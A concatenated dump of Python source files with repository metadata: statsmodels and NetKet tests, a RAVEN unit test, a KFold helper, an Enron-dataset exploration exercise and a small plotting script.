4)\n    assert_equal(out_of_sample, 0)\n    assert_equal(type(prediction_index) == type(endog.index), True)\n    assert_equal(prediction_index.equals(mod._index[3:]), True)\n\n    # Forecasting: [1, 5]; the index is an extended version of the date index\n    start_key = 1\n    end_key = nobs\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 1)\n    assert_equal(end, 4)\n    assert_equal(out_of_sample, 1)\n    desired_index = pd.DatetimeIndex(start='1970-01-01',\n                                     periods=6, freq='N')[1:]\n    assert_equal(prediction_index.equals(desired_index), True)\n\n    # Date-based keys\n    start_key = pd.Timestamp('1970-01-01')\n    end_key = pd.Timestamp(start_key.value + 7)\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    assert_equal(start, 0)\n    assert_equal(end, 4)\n    assert_equal(out_of_sample, 3)\n    desired_index = pd.DatetimeIndex(start='1970-01-01', periods=8, freq='N')\n    assert_equal(prediction_index.equals(desired_index), True)\n\n\ndef test_custom_index():\n    tsa_model.__warningregistry__ = {}\n\n    endog = pd.Series(np.random.normal(size=5),\n                      index=['a', 'b', 'c', 'd', 'e'])\n    message = ('An unsupported index was provided and will be ignored when'\n               ' e.g. forecasting.')\n    with warnings.catch_warnings(record=True) as w:\n        warnings.simplefilter('always')\n\n        mod = tsa_model.TimeSeriesModel(endog)\n        assert_equal(str(w[0].message), message)\n    start_key = -2\n    end_key = -1\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key))\n\n    # Test the default output index\n    assert_equal(prediction_index.equals(pd.Index(['d', 'e'])), True)\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key, index=['f', 'g']))\n\n    # Test custom output index\n    assert_equal(prediction_index.equals(pd.Index(['f', 'g'])), True)\n\n    # Test out-of-sample\n    start_key = 4\n    end_key = 5\n    message = ('No supported index is available.'\n               ' Prediction results will be given with'\n               ' an integer index beginning at `start`.')\n    with warnings.catch_warnings(record=True) as w:\n        warnings.simplefilter('always')\n\n        start, end, out_of_sample, prediction_index = (\n            mod._get_prediction_index(start_key, end_key))\n        assert_equal(prediction_index.equals(pd.Index([4, 5])), True)\n        assert_equal(str(w[0].message), message)\n\n    # Test out-of-sample custom index\n    start, end, out_of_sample, prediction_index = (\n        mod._get_prediction_index(start_key, end_key, index=['f', 'g']))\n    assert_equal(prediction_index.equals(pd.Index(['f', 'g'])), True)\n\n    # Test invalid custom index\n    assert_raises(ValueError, mod._get_prediction_index, start_key, end_key,\n                  index=['f', 'g', 'h'])\n", "meta": {"hexsha": "bcecc8c23dec13cdd9574f6e26b47296945dfcec", "size": 30010, "ext": "py", "lang": "Python", "max_stars_repo_path": "statsmodels/tsa/tests/test_tsa_indexes.py", "max_stars_repo_name": "cdown/statsmodels", "max_stars_repo_head_hexsha": "c99558b287735eb5f0c1e561866e1501e41fecbe", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 6, "max_stars_repo_stars_event_min_datetime": "2017-08-23T12:43:44.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-18T08:20:15.000Z", "max_issues_repo_path": "statsmodels/tsa/tests/test_tsa_indexes.py", "max_issues_repo_name": "krasnars/statsmodels", "max_issues_repo_head_hexsha": "c99558b287735eb5f0c1e561866e1501e41fecbe", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "statsmodels/tsa/tests/test_tsa_indexes.py", "max_forks_repo_name": "krasnars/statsmodels", "max_forks_repo_head_hexsha": "c99558b287735eb5f0c1e561866e1501e41fecbe", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2017-08-23T12:43:49.000Z", "max_forks_repo_forks_event_max_datetime": "2018-04-24T02:27:33.000Z", "avg_line_length": 39.4868421053, "max_line_length": 79, "alphanum_fraction": 0.6375874708, "include": true, "reason": "import numpy,from numpy,from statsmodels", "num_tokens": 7214, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.14223189137395395, "lm_q1q2_score": 0.06336850843163672}}
{"text": "import numpy as np\n\n\nclass KFold:\n    \"\"\"\n    This class provides the functionality to split a dataset ir order to perform k-cross validation.\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"\n        Constructor for the KFold class.\n        \"\"\"\n        self.data = None\n\n    def fit(self, data: np.ndarray):\n        \"\"\"\n        Fits the data to actual object.\n        :param data:                                Data to split.\n        \"\"\"\n        self.data = data\n\n    def split(self, n_fold: int, random_state=42) -> list:\n        \"\"\"\n        This method returns a list of tuples where you have the index for training and testing.\n        :param n_fold:                              Number of splits.\n        :param random_state:                        Numpy random state (int)\n        :return:                                    A list of tuple. Each tuple:\n                                                        1) Training index\n                                                        2) Testing index\n        \"\"\"\n\n        assert self.data is not None, \"You must fit the data first.\"\n        assert type(n_fold) == int and n_fold > 0, \"The number of k-folds must be a positive integer.\"\n        assert n_fold < self.data.shape[0], \"The number of splits must be greater than the amount of data.\"\n\n        # Shuffle the data\n        np.random.shuffle(self.data)\n        total_indexes = np.array(range(self.data.shape[0]))\n\n        # Generates the indexes limits\n        index_limits = np.linspace(0, self.data.shape[0], n_fold+1)\n        indexes_tuples = []\n        for index_limit_pos in range(len(index_limits)-1):\n            lower_index = int(round(index_limits[index_limit_pos]))\n            upper_index = int(round(index_limits[index_limit_pos+1])-1)\n            print(\"Fold: {}, Lower: {}, Upper: {}\".format(index_limit_pos + 1, lower_index, upper_index))\n\n            testing_index = total_indexes[lower_index: upper_index]\n            training_index_lower = total_indexes[:lower_index]\n            training_index_upper = total_indexes[upper_index:]\n            training_index = np.concatenate([training_index_lower, training_index_upper])\n            indexes_tuples.append((training_index, testing_index))\n\n        return indexes_tuples\n\n    def fit_split(self, data: np.ndarray, n_fold: int, random_state=42) -> list:\n        \"\"\"\n        Fits and splits the data\n        :param data:                                Data to split.\n        :param n_fold:                              Number of splits.\n        :param random_state:                        Numpy random state.\n        :return:                                    The same as split method.\n        \"\"\"\n        self.fit(data)\n        return self.split(n_fold, random_state=random_state)\n", "meta": {"hexsha": "1f27d059160e38253a1c3366faf1544f43ebfefd", "size": 2755, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/neural_network/preprocessing/KFold.py", "max_stars_repo_name": "rudyn2/cc5114", "max_stars_repo_head_hexsha": "16ee51ef168ff395ece6cd4e4bb04a01ee8277cd", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-08-18T18:35:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-19T00:52:52.000Z", "max_issues_repo_path": "src/neural_network/preprocessing/KFold.py", "max_issues_repo_name": "rudyn2/cc5114", "max_issues_repo_head_hexsha": "16ee51ef168ff395ece6cd4e4bb04a01ee8277cd", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/neural_network/preprocessing/KFold.py", "max_forks_repo_name": "rudyn2/cc5114", "max_forks_repo_head_hexsha": "16ee51ef168ff395ece6cd4e4bb04a01ee8277cd", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.7424242424, "max_line_length": 107, "alphanum_fraction": 0.5499092559, "include": true, "reason": "import numpy", "num_tokens": 542, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367606, "lm_q2_score": 0.1329642281726931, "lm_q1q2_score": 0.06336804546649308}}
{"text": "# Copyright 2017 Battelle Energy Alliance, LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\n  This Module performs Unit Tests for the cached_ndarray module\n  It cannot be considered part of the active code but of the regression test system\n\"\"\"\n\n#For future compatibility with Python 3\nfrom __future__ import division, print_function, unicode_literals, absolute_import\nimport warnings\nwarnings.simplefilter('default',DeprecationWarning)\n\nimport os,sys\nimport numpy as np\n\n# numpy with version 1.14.0 and upper will change the floating point type and print\n# https://docs.scipy.org/doc/numpy-1.14.0/release.html\nif int(np.__version__.split('.')[1]) > 13:\n  np.set_printoptions(**{'legacy':'1.13'})\n\nframeworkDir = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(sys.argv[0])),os.pardir,os.pardir,os.pardir,os.pardir,'framework'))\nsys.path.append(frameworkDir)\nfrom utils import cached_ndarray\nprint (cached_ndarray)\n\n\nresults = {\"pass\":0,\"fail\":0}\n\n\ndef checkAnswer(comment,value,expected,tol=1e-10,updateResults=True):\n  \"\"\"\n    This method is aimed to compare two floats given a certain tolerance\n    @ In, comment, string, a comment printed out if it fails\n    @ In, value, float, the value to compare\n    @ In, expected, float, the expected value\n    @ In, tol, float, optional, the tolerance\n    @ In, updateResults, bool, optional, if True updates global results\n    @ Out, None\n  \"\"\"\n  if abs(value - expected) > tol:\n    print(\"checking answer\",comment,value,\"!=\",expected)\n    if updateResults:\n      results[\"fail\"] += 1\n    return False\n  else:\n    if updateResults:\n      results[\"pass\"] += 1\n    return True\n\n\n#establish test array\norigin = np.array([-3.14,2.99792,2.718,8.987,0.618])\n#test init\ntestArray = cached_ndarray.c1darray(values=origin)\n\n#test iter, getitem\nfor i,val in enumerate(testArray):\n  checkAnswer('content storage indexing',val,origin[i])\n\n#test len\ncheckAnswer('array length',len(testArray),5)\n\n#test append single value\ntestArray.append(-6.626)\ncheckAnswer('append value',testArray[-1],-6.626)\n#test append array\ntestArray.append(np.array([12.56,6.67]))\ncheckAnswer('append array, 0',testArray[-2],12.56)\ncheckAnswer('append array, 1',testArray[-1],6.67)\n\n#test return closest\nright = [4,6,5]\nfor f,find in enumerate([0.6,1e10,-1e10]):\n  closest = testArray.returnIndexClosest(find)\n  checkAnswer('find closest %1.1e' %find,closest,right[f])\n\n#test returnIndexFirstPassage\ncheckAnswer('index first passage',testArray.returnIndexFirstPassage(3),3)\n\n#test max\ncheckAnswer('index max',testArray.returnIndexMax(),6)\n\n#test min\ncheckAnswer('index min',testArray.returnIndexMin(),5)\n\n\n#test repr\nmsg = str(testArray)\nright = 'array([ -3.14   ,   2.99792,   2.718  ,   8.987  ,   0.618  ,  -6.626  ,\\n        12.56   ,   6.67   ])'\n\nif msg == right:\n  results['pass']+=1\nelse:\n  print('checking string representation does not match:\\n'+msg,'\\n!=\\n'+right)\n  results['fail']+=1\n\nprint(results)\n\nsys.exit(results[\"fail\"])\n\"\"\"\n  <TestInfo>\n    <name>framework.cachedNDArray</name>\n    <author>talbpaul</author>\n    <created>2016-11-01</created>\n    <classesTested>utils.cachedNDArray</classesTested>\n    <description>\n       This test performs Unit Tests for the cached_ndarray module\n       It cannot be considered part of the active code but of the regression test system\n    </description>\n    <revisions>\n      <revision author=\"talbpaul\" date=\"2016-11-08\">Relocated utils tests</revision>\n      <revision author=\"alfoa\" date=\"2017-01-21\">Adding this test description.</revision>\n    </revisions>\n  </TestInfo>\n\"\"\"\n", "meta": {"hexsha": "0aef946e00f5ddaf3011d0dd9e6abeb6c678ced6", "size": 4057, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/framework/unit_tests/utils/testCachedNDArray.py", "max_stars_repo_name": "rinelson456/raven", "max_stars_repo_head_hexsha": "1114246136a2f72969e75b5e99a11b35500d4eef", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 159, "max_stars_repo_stars_event_min_datetime": "2017-03-24T21:07:06.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T13:44:40.000Z", "max_issues_repo_path": "tests/framework/unit_tests/utils/testCachedNDArray.py", "max_issues_repo_name": "rinelson456/raven", "max_issues_repo_head_hexsha": "1114246136a2f72969e75b5e99a11b35500d4eef", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1667, "max_issues_repo_issues_event_min_datetime": "2017-03-27T14:41:22.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T19:50:06.000Z", "max_forks_repo_path": "tests/framework/unit_tests/utils/testCachedNDArray.py", "max_forks_repo_name": "rinelson456/raven", "max_forks_repo_head_hexsha": "1114246136a2f72969e75b5e99a11b35500d4eef", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 95, "max_forks_repo_forks_event_min_datetime": "2017-03-24T21:05:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-08T17:30:22.000Z", "avg_line_length": 31.9448818898, "max_line_length": 144, "alphanum_fraction": 0.7202366281, "include": true, "reason": "import numpy", "num_tokens": 1121, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.12765262532179067, "lm_q1q2_score": 0.0633276797379036}}
{"text": "#!/usr/bin/python\n\n\"\"\" \n    Starter code for exploring the Enron dataset (emails + finances);\n    loads up the dataset (pickled dict of dicts).\n\n    The dataset has the form:\n    enron_data[\"LASTNAME FIRSTNAME MIDDLEINITIAL\"] = { features_dict }\n\n    {features_dict} is a dictionary of features associated with that person.\n    You should explore features_dict as part of the mini-project,\n    but here's an example to get you started:\n\n    enron_data[\"SKILLING JEFFREY K\"][\"bonus\"] = 5600000\n    \n\"\"\"\n\nimport pickle\n\nenron_data = pickle.load(open(\"../final_project/final_project_dataset.pkl\", \"r\"))\n\nnum_total_datasets = len(enron_data)\nprint \"1. Size of the Enron DataSets: {}\".format(num_total_datasets)\nprint \"2. Featues in the Enron DataSets: {}\".format(len(enron_data[\"METTS MARK\"]))\n\n# Format the Dictionary\nimport json;\n# mmDict = enron_data.items()[0:2]\n# mmDictIndent = json.dumps(mmDict, indent=1)\n# print mmDictIndent\n\n# How many POIs are there in the E+F dataset?\nnames = enron_data.keys()\nnum_poi = 0\nfor name in names:\n\tif enron_data[name]['poi'] == 1:\n\t\tnum_poi += 1\n\nprint '3. Number of POIs:{}'.format(num_poi)\n\n\n# 18. What is the total value of the stock belonging to James Prentice?\nprint \"4. What is the total value of the stock belonging to James Prentice?\"\njames_prentice_dict = enron_data['PRENTICE JAMES']\njames_prentice = json.dumps(james_prentice_dict, indent=1)\nprint \"\\tJames Prentice's total stock value: {}\".format(james_prentice_dict['total_stock_value'])\n\n# 19. How many email messages do we have from Wesley Colwell to persons of interest?\nwesley_colwell_dict = enron_data['COLWELL WESLEY']\nwesley_colwell = json.dumps(wesley_colwell_dict, indent=1)\nprint \"5. Number of email messages from Wesley Colwell to poi: {}\".format(wesley_colwell_dict['from_this_person_to_poi'])\n\n# 20. What's the value of stock options exercised by Jeffrey K Skilling?\njeffrey_k_skilling_dict = enron_data['SKILLING JEFFREY K']\njeffrey_k_skilling = json.dumps(jeffrey_k_skilling_dict, indent=1)\n# print jeffrey_k_skilling\nprint \"6. Value of stock options exercised by Jeffrey K Skilling: {}\".format(jeffrey_k_skilling_dict['exercised_stock_options'])\n\n# 27. How many folks in this dataset have a quantified salary? What about a known email address?\nimport numpy\nnum_quantified_salary = num_total_datasets\nnum_known_email_address = num_total_datasets\nfor name in names:\n\tif enron_data[name]['salary'] == 'NaN':\n\t\tnum_quantified_salary -= 1\n\tif enron_data[name]['email_address'] == 'NaN':\n\t\tnum_known_email_address -= 1\nprint \"7. Number of folks having a quantified salary: {}\".format(num_quantified_salary)\nprint \"8. Number of folks having a known email address: {}\".format(num_known_email_address)\n\n\n# 28. Conversion from Dictionary to Array\nfrom feature_format import *\n\nfeatures = [\"salary\", \n\t\"to_messages\", \n\t\"deferral_payments\", \n\t\"total_payments\", \n\t\"exercised_stock_options\", \n\t\"bonus\", \n\t\"restricted_stock\",\n\t\"shared_receipt_with_poi\", \n\t\"restricted_stock_deferred\", \n\t\"total_stock_value\", \n\t\"expenses\", \n\t\"loan_advances\", \n\t\"from_messages\", \n\t\"other\", \n\t\"from_this_person_to_poi\", \n\t\"poi\",\n\t\"director_fees\",\n\t\"deferred_income\",\n\t\"long_term_incentive\",\n\t\"email_address\",\n\t\"from_poi_to_this_person\"]\n\n# print features\nfeature_list = [\"poi\", \"salary\", \"bonus\"]\ndata_array = featureFormat(enron_data, feature_list)\nlabel, features = targetFeatureSplit(data_array)\n# print data_array\n# print label\n# print features\n\n\n\n# 29. How many people in the E+F dataset have 'NaN' for their total payments? \n# What percentage of people in the dataset as a whole is this?\nnum_nan_total_payments = 0\nfor name in names:\n    if enron_data[name]['total_payments'] == 'NaN':\n        num_nan_total_payments += 1\nprint \"9. Number of people having \\'Nan\\' for their total payments: {}\\t \\\n\tPercentage: {}\".format(num_nan_total_payments,\n                        100 * float(num_nan_total_payments) / num_total_datasets)\n\n\n\n# 30. How many POIs in the E+F dataset have 'NaN' for their total payments? \n# What percentage of POI's as a whole is this?\nnum_poi_nan_total_payments = 0\nfor name in names:\n\tif enron_data[name]['poi'] == True:\n\t\tif enron_data[name]['total_payments'] == 'NaN':\n\t\t\tnum_poi_nan_total_payments += 1\nprint \"10. Number of POIs having NaN for their total payments: {}\\tPercentage: {}\".format(num_poi_nan_total_payments, 100 * float(num_poi_nan_total_payments) / num_poi)\n", "meta": {"hexsha": "bfe330755249d909d0e6d25abafe60edb2812df7", "size": 4382, "ext": "py", "lang": "Python", "max_stars_repo_path": "Lesson3-Datasets-Questions/ud120-projects-master/datasets_questions/explore_enron_data.py", "max_stars_repo_name": "DojoZheng/Udacity_Evaluation_Validation", "max_stars_repo_head_hexsha": "a3d73829da183e078e18ad64cacfbeeaaa47fe37", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Lesson3-Datasets-Questions/ud120-projects-master/datasets_questions/explore_enron_data.py", "max_issues_repo_name": "DojoZheng/Udacity_Evaluation_Validation", "max_issues_repo_head_hexsha": "a3d73829da183e078e18ad64cacfbeeaaa47fe37", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Lesson3-Datasets-Questions/ud120-projects-master/datasets_questions/explore_enron_data.py", "max_forks_repo_name": "DojoZheng/Udacity_Evaluation_Validation", "max_forks_repo_head_hexsha": "a3d73829da183e078e18ad64cacfbeeaaa47fe37", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.5039370079, "max_line_length": 168, "alphanum_fraction": 0.7457781835, "include": true, "reason": "import numpy", "num_tokens": 1177, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713670203584295, "lm_q2_score": 0.13846178879140303, "lm_q1q2_score": 0.06329596548608543}}
{"text": "import numpy as np\nimport matplotlib.pylab as plt\n\ndatos=np.genfromtxt(\"datos.dat\")\nt=datos[:,0]\nx=datos[:,1]\nv=datos[:,2]\n\nplt.figure()\nplt.plot(t,x,c='b')\nplt.xlabel(\"t\")\nplt.ylabel(\"x\")\nplt.title(\"Posici\u00f3n vs. Tiempo Resorte sin fricci\u00f3n\")\nplt.grid()\nplt.savefig(\"CendalesLuisResorte.png\")\nplt.close()\n", "meta": {"hexsha": "b37a45b9172dd479e5f247f8202d1a56615cb66a", "size": 305, "ext": "py", "lang": "Python", "max_stars_repo_path": "S5C3/CendalesLuis_S5C3_plots.py", "max_stars_repo_name": "LuisCendales/M-todos_Computacionales", "max_stars_repo_head_hexsha": "7efe4d33c8efe55fe61ade7a28b2c2e39acb9c21", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "S5C3/CendalesLuis_S5C3_plots.py", "max_issues_repo_name": "LuisCendales/M-todos_Computacionales", "max_issues_repo_head_hexsha": "7efe4d33c8efe55fe61ade7a28b2c2e39acb9c21", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "S5C3/CendalesLuis_S5C3_plots.py", "max_forks_repo_name": "LuisCendales/M-todos_Computacionales", "max_forks_repo_head_hexsha": "7efe4d33c8efe55fe61ade7a28b2c2e39acb9c21", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.9411764706, "max_line_length": 53, "alphanum_fraction": 0.7081967213, "include": true, "reason": "import numpy", "num_tokens": 95, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.1294027198405294, "lm_q1q2_score": 0.06318519940424937}}
{"text": "# Copyright 2021 The NetKet Authors - All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport netket as nk\nimport numpy as np\nimport pytest\nfrom scipy.stats import combine_pvalues, chisquare\n\nimport jax\nimport flax\nfrom jax import numpy as jnp\n\nfrom .. import common\n\npytestmark = common.skipif_mpi\n\nnk.config.update(\"NETKET_EXPERIMENTAL\", True)\nnp.random.seed(1234)\n\nWEIGHT_SEED = 1234\nSAMPLER_SEED = 15324\n\n\nsamplers = {}\n\n\n# TESTS FOR SPIN HILBERT\n# Constructing a 1d lattice\ng = nk.graph.Hypercube(length=4, n_dim=1)\n\n# Hilbert space of spins from given graph\nhi = nk.hilbert.Spin(s=0.5, N=g.n_nodes)\nha = nk.operator.Ising(hilbert=hi, graph=g, h=1.0)\nmove_op = sum([nk.operator.spin.sigmax(hi, i) for i in range(hi.size)])\n\nhi_spin1 = nk.hilbert.Spin(s=1, N=g.n_nodes)\nhib = nk.hilbert.Fock(n_max=1, N=g.n_nodes, n_particles=1)\nhib_u = nk.hilbert.Fock(n_max=3, N=g.n_nodes)\n\nsamplers[\"Exact: Spin\"] = nk.sampler.ExactSampler(hi, n_chains=8)\nsamplers[\"Exact: Fock\"] = nk.sampler.ExactSampler(hib_u, n_chains=4)\n\nsamplers[\"Metropolis(Local): Spin\"] = nk.sampler.MetropolisLocal(hi, n_chains=16)\n\nsamplers[\"MetropolisNumpy(Local): Spin\"] = nk.sampler.MetropolisLocalNumpy(\n    hi, n_chains=16\n)\n# samplers[\"MetropolisNumpy(Local): Fock\"] = nk.sampler.MetropolisLocalNumpy(\n#    hib_u, n_chains=8\n# )\n# samplers[\"MetropolisNumpy(Local): Doubled-Spin\"] = nk.sampler.MetropolisLocalNumpy(\n#    nk.hilbert.DoubledHilbert(nk.hilbert.Spin(s=0.5, N=2)), n_chains=8\n# )\n\nsamplers[\"MetropolisPT(Local): Spin\"] = nk.sampler.MetropolisLocalPt(\n    hi, n_chains=8, n_replicas=4\n)\nsamplers[\"MetropolisPT(Local): Fock\"] = nk.sampler.MetropolisLocalPt(\n    hib_u, n_chains=8, n_replicas=4\n)\n\nsamplers[\"Metropolis(Exchange): Fock-1particle\"] = nk.sampler.MetropolisExchange(\n    hib, n_chains=16, graph=g\n)\n\nsamplers[\"Metropolis(Hamiltonian,Jax): Spin\"] = nk.sampler.MetropolisHamiltonian(\n    hi,\n    hamiltonian=ha,\n    reset_chains=True,\n)\n\nsamplers[\"Metropolis(Hamiltonian,Numpy): Spin\"] = nk.sampler.MetropolisHamiltonianNumpy(\n    hi,\n    hamiltonian=ha,\n    reset_chains=True,\n)\n\nsamplers[\"Metropolis(Custom: Sx): Spin\"] = nk.sampler.MetropolisCustom(\n    hi, move_operators=move_op\n)\n\n# samplers[\"MetropolisPT(Custom: Sx): Spin\"] = nk.sampler.MetropolisCustomPt(hi, move_operators=move_op, n_replicas=4)\n\nsamplers[\"Autoregressive: Spin 1/2\"] = nk.sampler.ARDirectSampler(hi, n_chains=16)\nsamplers[\"Autoregressive: Spin 1\"] = nk.sampler.ARDirectSampler(hi_spin1, n_chains=16)\nsamplers[\"Autoregressive: Fock\"] = nk.sampler.ARDirectSampler(hib_u, n_chains=16)\n\n\n# The following fixture initialisees a model and it's weights\n# for tests that require it.\n@pytest.fixture\ndef model_and_weights(request):\n    def build_model(hilb, sampler=None):\n        if isinstance(sampler, nk.sampler.ARDirectSampler):\n            ma = nk.models.ARNNDense(hilbert=hilb, layers=3, features=5)\n        else:\n            # Build RBM by default\n            ma = nk.models.RBM(\n                alpha=1,\n                dtype=complex,\n                kernel_init=nk.nn.initializers.normal(stddev=0.1),\n                hidden_bias_init=nk.nn.initializers.normal(stddev=0.1),\n            )\n            # init network\n\n        w = ma.init(jax.random.PRNGKey(WEIGHT_SEED), jnp.zeros((1, hi.size)))\n\n        return ma, w\n\n    # Do something with the data\n    return build_model\n\n\n# The following fixture returns one sampler at a time (and iterates through)\n# all samplers.\n# \u00a0it skips tests according to the --sampler cmdline argument introduced in\n# conftest.py\n@pytest.fixture(\n    params=[pytest.param(sampl, id=name) for name, sampl in samplers.items()]\n)\ndef sampler(request):\n    cmdline_sampler = request.config.getoption(\"--sampler\").lower()\n    if cmdline_sampler == \"\":\n        return request.param\n    elif cmdline_sampler in request.node.name.lower():\n        return request.param\n    else:\n        pytest.skip(\"skipped from command-line argument\")\n\n\n@pytest.fixture(params=[pytest.param(val, id=f\", mpow={val}\") for val in [1, 2]])\ndef set_pdf_power(request):\n    def fun(sampler):\n        cmdline_mpow = request.config.getoption(\"--mpow\").lower()\n        if cmdline_mpow == \"all\":\n            # Nothing to skip\n            pass\n        elif cmdline_mpow == \"single\":\n            # same sampler leads to same rng\n            rng = np.random.default_rng(abs(hash((type(sampler), repr(sampler)))))\n            exponent = rng.integers(1, 3)  # 1 or 2\n            if exponent != request.param:\n                pytest.skip(\n                    \"Running only 1 pdf exponent per sampler. Use --mpow=all to run all pdf exponents.\"\n                )\n        elif int(cmdline_mpow) != request.param:\n            pytest.skip(f\"Running only --mpow={cmdline_mpow}.\")\n\n        if isinstance(sampler, nk.sampler.ARDirectSampler) and request.param != 2:\n            pytest.skip(\"ARDirectSampler only supports machine_pow = 2.\")\n\n        return sampler.replace(machine_pow=request.param)\n\n    return fun\n\n\ndef test_states_in_hilbert(sampler, model_and_weights):\n    hi = sampler.hilbert\n    all_states = hi.all_states()\n\n    ma, w = model_and_weights(hi, sampler)\n\n    for sample in nk.sampler.samples(sampler, ma, w, chain_length=50):\n        assert sample.shape == (sampler.n_chains, hi.size)\n        for v in sample:\n            assert v in all_states\n\n    # if hasattr(sa, \"acceptance\"):\n    #    assert np.min(sampler.acceptance) >= 0 and np.max(sampler.acceptance) <= 1.0\n\n\ndef findrng(rng):\n    if hasattr(rng, \"_bit_generator\"):\n        return rng._bit_generator.state[\"state\"]\n    else:\n        return rng\n\n\n# Mark tests that we know are failing on correctedness\ndef failing_test(sampler):\n    if isinstance(sampler, nk.sampler.MetropolisSampler):\n        if isinstance(sampler, nk.sampler.MetropolisPtSampler):\n            return True\n\n    return False\n\n\n@pytest.fixture(\n    params=[\n        pytest.param(\n            sampl,\n            id=name,\n            marks=pytest.mark.xfail(reason=\"MUSTFIX: this sampler is known to fail\")\n            if failing_test(sampl)\n            else [],\n        )\n        for name, sampl in samplers.items()\n    ]\n)\ndef sampler_c(request):\n    cmdline_sampler = request.config.getoption(\"--sampler\").lower()\n    if cmdline_sampler == \"\":\n        return request.param\n    elif cmdline_sampler in request.node.name.lower():\n        return request.param\n    else:\n        pytest.skip(\"skipped from command-line argument\")\n\n\n# Testing that samples generated from direct sampling are compatible with those\n# generated by markov chain sampling\n# here we use a combination of power divergence tests\ndef test_correct_sampling(sampler_c, model_and_weights, set_pdf_power):\n    sampler = set_pdf_power(sampler_c)\n\n    hi = sampler.hilbert\n    n_states = hi.n_states\n\n    ma, w = model_and_weights(hi, sampler)\n\n    n_samples = max(40 * n_states, 100)\n\n    ps = np.absolute(nk.nn.to_array(hi, ma, w, normalize=False)) ** sampler.machine_pow\n    ps /= ps.sum()\n\n    n_rep = 6\n    pvalues = np.zeros(n_rep)\n\n    sampler_state = sampler.init_state(ma, w, seed=SAMPLER_SEED)\n\n    for jrep in range(n_rep):\n        sampler_state = sampler.reset(ma, w, state=sampler_state)\n\n        # Burnout phase\n        samples, sampler_state = sampler.sample(\n            ma, w, state=sampler_state, chain_length=n_samples // 100\n        )\n\n        assert samples.shape == (\n            n_samples // 100,\n            sampler.n_chains,\n            hi.size,\n        )\n        samples, sampler_state = sampler.sample(\n            ma, w, state=sampler_state, chain_length=n_samples\n        )\n\n        assert samples.shape == (n_samples, sampler.n_chains, hi.size)\n\n        sttn = hi.states_to_numbers(np.asarray(samples.reshape(-1, hi.size)))\n        n_s = sttn.size\n\n        # fill in the histogram for sampler\n        unique, counts = np.unique(sttn, return_counts=True)\n        hist_samp = np.zeros(n_states)\n        hist_samp[unique] = counts\n\n        # expected frequencies\n        